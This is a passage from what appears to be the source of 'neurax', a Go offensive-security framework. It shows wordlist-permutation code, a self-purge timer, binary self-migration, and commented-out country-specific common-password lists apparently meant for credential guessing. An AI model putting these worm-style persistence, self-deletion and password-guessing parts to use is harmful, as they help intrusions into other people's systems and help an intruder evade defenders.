{ 857 | wordlist = cf.ShuffleSlice(wordlist) 858 | } 859 | return wordlist 860 | } 861 | 862 | // WordlistPermute permutes words in to slice 863 | func (nrx *Nrx) WordlistPermute(words ...string) []string { 864 | res := make([]string, 0, len(words)) 865 | permuted := "" 866 | sep := nrx.cfg.WordlistPermuteSeparator 867 | for _, word := range words { 868 | curPermLen := len(strings.Split(permuted, sep)) 869 | selected := cf.RandomSelectStr(words) 870 | if !strings.Contains(permuted, selected) && curPermLen < nrx.cfg.WordlistPermuteNum { 871 | permuted += word + sep + selected + sep 872 | res = append(res, permuted) 873 | } 874 | } 875 | return res[:] 876 | } 877 | 878 | // SetTTL sets TTL 879 | func (nrx *Nrx) SetTTL(interval string) { 880 | firstExec := time.Now() 881 | for { 882 | time.Sleep(time.Duration(10)) 883 | passed := time.Since(firstExec).Seconds() 884 | if int(passed) > cf.IntervalToSeconds(interval) { 885 | nrx.PurgeSelf() 886 | } 887 | } 888 | } 889 | 890 | // Migrate migrates binary from currant path to path 891 | func (nrx *Nrx) Migrate(path string) error { 892 | currentPath, _ := filepath.Abs(filepath.Dir(os.Args[0])) 893 | if strings.Contains(currentPath, path) { 894 | return nil 895 | } 896 | nrx.Debug("Migrating -> " + path) 897 | return cf.CopyFile(os.Args[0], path) 898 | } 899 | -------------------------------------------------------------------------------- /neurax.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/redcode-labs/neurax/79d55d588a32af7d0900ebacbaef26f840c31618/neurax.png -------------------------------------------------------------------------------- /passwd.go: -------------------------------------------------------------------------------- 1 | package neurax 2 | 3 | /*var CommonPasswords = []string{ 4 | "123456", 5 | "123456789", 6 | "password", 7 | "qwerty", 8 | "12345678", 9 | "12345", 10 | "123123", 11 | "111111", 12 | "1234", 13 | "1234567890", 14 | "1234567", 15 | "abc123", 16 | "1q2w3e4r5t", 17 | "q1w2e3r4t5y6", 18 | "iloveyou", 19 | "123", 20 | "000000", 21 | "123321", 22 | "1q2w3e4r", 23 | "qwertyuiop", 24 | "yuantuo2012", 25 | "654321", 26 | "qwerty123", 27 | "1qaz2wsx3edc", 28 | "password1", 29 | "1qaz2wsx", 30 | "666666", 31 | "dragon", 32 | "ashley", 33 | "princess", 34 | "987654321", 35 | "123qwe", 36 | "159753", 37 | "monkey", 38 | "q1w2e3r4", 39 | "zxcvbnm", 40 | "123123123", 41 | "asdfghjkl", 42 | "pokemon", 43 | "football"} 44 | 45 | var CommonPasswordsCountries = map[string][]string{ 46 | "pl": {"123456", "qwerty", "zaq12wsx", "123456789", "12345", "polska", "1234", "lol123", "mateusz", "111111", "marcin", "misiek", "damian", "bartek", "monika", "Pass12sa", "123qwe", "qwe123", "michal", "akrokis123", "patryk", "kacper", "maciek", "karolina", "123123", "12345678", "1qaz2wsx", "piotrek", "qwerty123", "daniel", "zxcvbnm", "lukasz", "samsung", "qazwsx", "golfcourse", "qwertyuiop", "adrian", "lolek123", "qwerty1", "password", "1234567890", "1234567", "mateusz1", "yOp7s55", "dupa", "agnieszka", "komputer", "myszka", "1q2w3e4r", "kasia", "kamil1", "polska1", "natalia", "matrix", "kamil123", "kochanie", "master", "1q2w3e", "madzia", "dragon", "000000", "bartek1", "aaaaaa", "klaudia", "666666", "kamil", "dominik", "1qazxsw2", "1111", "kasia1", "123321", "asdasd", "wojtek", "paulina", "szymon", "niunia", "polska123", "ziomek", "dupa123", "zaqwsx", "marcin1", "robert", "haslo", "misiaczek", "1234qwer", "abc123", "sebastian", "haslo1", "dominika", "dawid123", "mariusz", "dawid1", "michal1", "barcelona", "weronika", "kosama", "kuba123", "patrycja", "maniek", "justyna", "kamila", "pokemon", "1q2w3e4r5t", "pawel1", "konrad", "Groupd2013", "damian1", "tomek1", "komputer1", "widzew", "kamilek", "haslo123", "aaaa", "magda", "qweasd", "tomek", "marta", "piotrek1", "asdfgh", "11111", "asd123", "asdfghjkl", "sylwia", "kochamcie", "dawid", "654321", "ewelina", "wiktoria", "pakistan", "kocham", "dawidek", "patryk1", "lolek", "misiek1", "kotek", "q1w2e3r4", "123456a", "monika1", "teg4ka1P5U", "lolek1", "sandra", "pawel", "polska12", "adidas", "maciek1", "andrzej", "87654321", "qazxsw", "przemek", "kacper1"}, 47 | "hu": {"123456", "63245009", "faszfej1", "123456789", "84569280", "12345", "jelszo", "83773049", "asdasd", "29662012", "attila", "12345678", "qwertz", "000000", "asd123", "7732844", "111111", "zolika", "liba01", "tomika", "52145874", "macska", "lacika", "1234", "asdfgh", "danika", "samsung", "tigris", "szerelem", "16912194", "8933959", "csemege6", "password", "eszter", "szeretlek", "killer", "macika", "666666", "sarkany10", "barcelona", "malacka", "yamahar1", "petike", "dominik", "nemtudom", "asdasdasd", "garfield", "ronaldo", "dragon", "5324353", "patrik", "1234567", "ferrari", "unqnkmol03", "valami", "levente", "gabika", "janika", "fradika", "nemtom", "viktor", "cicamica", "balazs", "csillag", "Predator", "kicsim", "dominika", "roland", "juventus", "sanyika", "arsenal", "martin", "zsolti", "delfin", "farkas", "nyuszi", "mazsola", "q1w2e3r4", "bence", "nincsen", "012345", "manoka", "bilbao1", "1q2w3e4r", "almafa", "mester", "monika", "aaaaaa", "realmadrid", "citrom", "budapest", "csabika", "genius", "856169", "asdasd123", "nhjaqhoc43", "viktoria", "suzuki", "kecske", "madrid", "melinda", "robika", "adidas", "qwert", "matrix", "pamacs", "diablo", "macilaci", "freemail", "11111", "xxxxxx", "starwars", "654321", "andrea", "csilla", "eminem", "magyar", "vivien", "balint", "chelsea", "tappancs", "katica", "titkos", "slipknot", "Thomas92", "latoska", "manocska", "55555", "00000", "internet", "narancs", "erikbaba", "szabolcs", "yamaha", "fradi", "asdfghjkl", "lilike", "sziszi", "katalin", "ildiko", "abc123", "daniel", "david", "kriszti", "lofasz", "rebeka", "zoltan", "nikolett", "szilvi", "norbert"}, 48 | "fr": {"123456", "123456789", "1234561", "azerty", "1234567891", "qwerty", "123", "azertyuiop", "marseille", "doudou", "loulou", "12345", "000000", "123451", "password", "12345678", "1234", "soleil", "nicolas", "chouchou", "1234567", "bonjour", "111111", "iloveyou1", "123123", "thomas", "camille", "motdepasse", "coucou", "iloveyou", "12345671", "julien", "jetaime", "naruto", "maxime", "alexandre", "chocolat", "1234567890", "0000", "dragon", "portugal", "pierre", "00000", "isabelle", "antoine", "marine", "oceane", "romain", "654321", "mar", "sandrine", "football", "olivier", "caroline", "nathalie", "vincent", "pompier", "123456781", "celine", "valentin", "caramel", "wxcvbn", "Status", "azerty123", "boubou", "maison", "elodie", "sophie", "anthony", "quentin", "aze", "benjamin", "aurelie", "vanille", "audrey", "alexis", "clement", "emilie", "cheval", "chipie", "666666", "0123456789", "marion", "987654321", "pauline", "princesse", "laurent", "pokemon", "amandine", "morgane", "12345678901", "louloute", "NULL", "melanie", "secret", "sebastien", "stephane", "159753", "6543211", "florian", "mathilde", "france", "papillon", "mohamed", "michel", "mathieu", "voiture", "frederic", "nounours", "qwerty1", "arthur", "junior", "jerome", "aaaaaa", "philippe", "amour", "guillaume", "tintin", "qwertyuiop", "bhf", "nathan", "jordan", "scorpion", "bou", "poisson", "lolita", "melissa", "justine", "virginie", "charlotte", "juliette", "toulouse", "patrick", "vanessa", "sandra", "sabrina", "laetitia", "password1", "mamour", "789456", "cedric", "jeremy", "daniel", "jonathan", "1111111", "damien", "121212", "noisette", "nounou", "delphine"}, 49 | "ru": {"123456", "123456789", "qwerty", "1q2w3e4r5t", "qwertyuiop", "12345678", "111111", "1q2w3e4r", "1234567890", "123123", "qwerty123", "123321", "1234567", "1qaz2wsx", "1234qwer", "12345", "qweasdzxc", "qazwsxedc", "666666", "000000", "123qwe", "7777777", "1q2w3e", "gfhjkm", "qazwsx", "zxcvbnm", "123456789a", "123qweasdzxc", "1q2w3e4r5t6y", "q1w2e3r4", "qwe123", "654321", "12345qwert", "qwer1234", "555555", "159753", "asdfghjkl", "qwertyui", "q1w2e3r4t5", "123456789q", "123123123", "121212", "123qweasd", "12qwaszx", "1qazxsw2", "987654321", "1234", "1qaz2wsx3edc", "123qwe123", "112233", "password", "tresd5", "777777", "crossfire", "ghbdtn", "11111111", "123456a", "zxcvbn", "123654", "123456q", "qwerty12345", "qazwsx123", "4815162342", "q1w2e3r4t5y6", "12344321", "qweasd", "222222", "159357", "1234554321", "1111111", "0987654321", "asdfgh", "qwerty123456", "131313", "asdasd", "samsung", "nikita", "qweqwe", "q1w2e3", "12345q", "qwerty12", "qqqqqq", "789456123", "qwerty1", "qwaszx", "88888888", "qweasdzxc123", "qazwsxedcrfv", "12345678910", "999999", "12345678a", "1029384756", "123456789z", "qwertyu", "147258369", "qwert12345", "1234567q", "123456qwerty", "qazxswedc", "789456", "stalker", "333333", "1111", "qwerasdf", "1234567890q", "qazwsxedc123", "nastya", "qazxsw", "12345678q", "11223344", "1234567a", "12345a", "fyfcnfcbz", "iloveyou", "qwe123qwe", "fktrcfylh", "asdfghjk", "marina", "12341234", "qwert", "1q2w3e4r5t6y7u", "vfrcbv", "1q2w3e4r5", "qwertyqwerty", "zaq12wsx", "fylhtq", "101010", "1qa2ws3ed", "master", "kifj9n7bfu", "11111", "123654789", "q123q123", "vfhbyf", "123qwe123qwe", "qweasd123", "1111111111", "killer", "111222", "aaaaaa", "sergey", "010203", "zzzzzz", "123321q", "888888", "12345qwe", "secret666", "87654321", "147852369", "zxc123"}, 50 | "th": {"123456", "123456789", "1234", "12345678", "1234567890", "password", "111111", "1234567", "999999", "999999999", "987654321", "0123456789", "12345", "0987654321", "000000", "654321", "221225", "112233", "123123", "asd123456", "1212312121", "1111111111", "555555", "0000000000", "11111111", "16859537", "44307644", "159753", "9876543210", "lovelove", "thailand", "123456789a", "666666", "789456123", "jack16599", "zxcvbnm", "88888888", "147258369", "1122334455", "25242524", "thai123", "123456789za", "9999999999", "11223344", "12341234", "741852963", "7777777", "888888", "987654", "0123456", "00000000", "222222", "iloveyou", "liverpool", "123456a", "147852369", "252525", "456789", "0884351966", "1475", "99999999", "212224", "25232523", "789456", "111111111", "123123123", "159357", "loveyou", "25262526", "55555", "zqq7784", "123456za", "25219621", "444444", "Bapichat123456", "123456789z", "1q2w3e4r", "25222522", "147852", "212224236", "87654321", "2222222222", "2522", "za123456", "012345", "10081997TICK", "1234512345", "25252525", "2520", "25292529", "333333", "a123456789", "25162516", "55555555", "zxcvbn", "0935910995", "123321", "12345678910", "123789", "1qaz2wsx", "25362536", "27112537", "7654321", "Bas3bal!", "Mater555", "joeyboy2012", "mth99007806", "012524PTC", "101010Bee", "121212", "1234567891", "131313", "25202520", "25272527", "25302530", "313326339", "3571138", "44444444", "5555555", "777777", "963852741", "abc123", "dragon", "qazwsx", "1111", "111222", "111222333", "123654", "135790", "147258", "25132513", "2514", "2516", "25182518", "5555555555", "963852", "ann23102521", "pop2512", "qwerty", "tent91257", "246810", "456123", "LOVE0909", "a123456", "asdfghjkl", "0873029756", "098765", "11111", "12344321", "140136"}, 51 | "es": {"123456", "123456789", "12345678", "password", "mustang73", "1234abcd", "1234", "12345", "america", "1234567", "gallito", "qwerty", "alejandro", "pokemon", "carlos", "mexico", "111111", "daniel", "123456qwe", "1234567890", "chivas", "123123", "dragon", "alejandra", "fernando", "000000", "654321", "estrella", "naruto", "andrea", "manuel", "princesa", "caca", "superman", "cruzazul", "666666", "fernanda", "eduardo", "monica", "abc123", "adriana", "daniela", "javier", "CFE2015", "miguel", "ricardo", "rental", "camila", "carolina", "sard", "claudia", "valeria", "alberto", "antonio", "mariana", "sebastian", "corazon", "contraseña", "roberto", "sandra", "chocolate", "123qwe", "hola", "jessica", "martinez", "furuyanomori", "lupita", "metallica", "arturo", "santiago", "123456a", "america1", "bonita", "gabriela", "mauricio", "BRITISH2015", "master", "joseluis", "karina", "angelica", "elizabeth", "sergio", "victor", "123abc", "brenda", "francisco", "musica", "spiderman", "delfin", "hernandez", "aguilas", "andres", "angelito", "pancho", "ximena", "zxcvbnm", "sakura", "flores", "gabriel", "carlitos", "xbox360", "barcelona", "adrian", "isabel", "junior", "qwertyuiop", "121212", "gatito", "killer", "veronica", "159753", "1q2w3e4r", "emiliano", "escorpion", "hector", "lorena", "paulina", "pikachu", "chavez", "liliana", "marisol", "pelusa", "angeles", "lol123", "minecraft", "nirvana", "patito", "armando", "987654321", "leonardo", "pamela", "101010", "aguila", "alexis", "asdf", "gerardo", "555555", "castillo", "cristo", "pollito", "angel", "amorcito", "carmen", "alfredo", "cristina", "familia", "1qaz2wsx", "amores", "conejo", "7777777"}, 52 | "de": {"123456", "123456789", "12345678", "passwort", "qwerty", "hallo123", "12345", "1234", "hallo", "1234567", "huhbbhzu78", "password", "ficken", "killer", "1q2w3e4r", "qwertz", "lol123", "schalke04", "master", "1234567890", "dennis", "daniel", "alexander", "111111", "fussball", "schatz", "arschloch", "123123", "1234561", "schalke", "michael", "starwars", "computer", "werder", "abc123", "wasser", "andreas", "florian", "internet", "michelle", "sommer", "berlin", "000000", "asdfgh", "sandra", "pokemon", "marcel", "Passwort", "thomas", "hamburg", "dragon", "christian", "bayern", "geheim", "handball", "dortmund", "666666", "ichliebedich", "sebastian", "patrick", "tobias", "nicole", "martin", "bushido", "sascha", "stefan", "asdasd", "fabian", "dominik", "1q2w3e4r5t", "jasmin", "justin", "logitech", "eminem", "benjamin", "maximilian", "sabrina", "yxcvbnm", "samsung", "SKIFFY", "1234qwer", "markus", "schule", "hallo1", "pascal", "merlin", "nadine", "1234567891", "1qay2wsx", "snoopy", "moritz", "medion", "lollol", "playboy", "123qwe", "vanessa", "mercedes", "matrix", "philipp", "oliver", "wertz123", "sunshine", "hurensohn", "Hallo123", "borussia", "passwort1", "aaaaaa", "schatzi", "sonnenschein", "blabla", "info", "werner", "fcbayern", "charly", "q1w2e3r4", "marvin", "jennifer", "niklas", "asdf1234", "iloveyou", "julian", "asdf", "qwer1234", "andrea", "melanie", "porsche", "kennwort", "johannes", "deutschland", "987654321", "123321", "infoinfo", "sternchen", "jessica", "1q2w3e", "sabine", "1111", "654321", "Status", "hamster", "matthias", "slipknot", "onkelz", "vergessen", "asdfghjkl", "steffi", "minecraft", "manuel", "fickdich", "asd123"}, 53 | "se": {"123456", "okthandha", "webhompass", "hejsan", "hejsan123", "hejhej", "lol123", "123456789", "qwerty", "guntles99", "hejhej123", "123123", "bajskorv", "abc123", "mamma123", "password", "hej123", "sommar", "dinmamma", "helena", "12345", "kalleanka", "12345678", "malin", "6435", "7546", "3182", "5324", "8657", "alexander", "fotboll", "qwe123", "123qwe", "hemligt", "9768", "asdasd", "rasmus", "lolipop", "kalle123", "1234", "anders", "mamma", "4293", "hammarby", "111111", "daniel", "killer", "bajs123", "sverige", "helene", "starwars", "blomma", "helen", "qwerty123", "123qweasd", "cocacola", "hejhej1", "helloo", "1q2w3e4r", "margareta", "asdasd123", "lollol", "andreas", "asd123", "hejhejhej", "godis", "mamma1", "sweden", "amanda", "hanna", "bajsbajs", "oliver", "johanna", "martin", "william", "master", "8757", "6535", "smulan", "dragon", "1234567", "3282", "katten", "qwer1234", "trustno1", "wickedwitch", "apa123", "dinmamma1", "121212", "andersson", "linnea", "samsung", "jakjak", "bajs", "jessica", "hampus", "123abc", "2971", "4313", "123123123", "elisabeth", "gnaget", "internet", "1qaz2wsx", "666666", "fredrik", "mormor", "5424", "marianne", "sebastian", "marcus", "frida", "gustav", "barnsemester", "mikael", "1868", "asdfasdf", "asdqwe123", "123321", "dennis", "findus", "handboll", "kungen", "stockholm", "zxcvbnm", "neger123", "mammamia", "2871", "lolipop1", "tstpsw", "emelie", "morris", "2879", "johan", "losenord", "metallica", "1q2w3e", "innebandy", "pokemon", "silver", "lilleman", "mattias", "7646", "kalle", "apelsin", "hejsan1", "112233", "charlie", "dinmamma123", "nisse"}, 54 | "hi": {"123456", "Indya123", "123456789", "1234567Qq", "password", "12345", "12345678", "indya123D", "1234", "10577", "krishna", "zxcvbnm", "1234567", "indian", "111111", "sairam", "computer", "qwerty", "iloveyou", "1qaz", "123123", "1234567890", "abc123", "ganesh", "saibaba", "sachin", "mother", "abcd1234", "india123", "lakshmi", "welcome", "654321", "aicte@123", "iloveu", "786786", "expert12", "friends", "tabasum786", "sweety", "abcdef", "jaimatadi", "rajesh", "omsairam", "anjali", "priyanka", "hanuman", "7024371253", "police123", "000000", "sanjay", "samsung", "ramesh", "suresh", "deepak", "aaaaaa", "balaji", "asdfgh", "friend", "hariom", "manish", "aditya", "sandeep", "Password", "asdfghjkl", "success", "lovely", "cricket", "abhishek", "prasad", "cutecatvip", "jasmine", "flower", "prakash", "engineer", "999999", "poonam", "sandhya", "sharma", "prince", "666666", "987654321", "master", "pass2512", "santosh", "venkat", "archana", "manisha", "never", "vijaya", "chennai", "kumar", "simran", "rashmi", "karthik", "ashish", "qwertyuiop", "asdf1234", "mahesh", "rakesh", "sriram", "qwer1234", "internet", "passion", "khushi", "Mango123", "sweetheart", "vishal", "kannan", "waheguru", "143143", "creative", "chandra", "bharat", "naveen", "chinnu", "praveen", "srinivas", "kavitha", "babynaaz123", "pradeep", "555555", "aaaaaaaa", "indya123", "welcome123", "ganesha", "ramram", "dinesh", "sunita", "bangalore", "admin123", "preeti", "radhika", "bismillah", "test", "mechanical", "nikhil", "redrose", "yamaha", "secret", "shilpa", "loveyou", "anitha", "chinna", "loveme", "kalpana", "pankaj", "superman", "vijay", "doctor", "vishnu"}, 55 | }*/ 56 | --------------------------------------------------------------------------------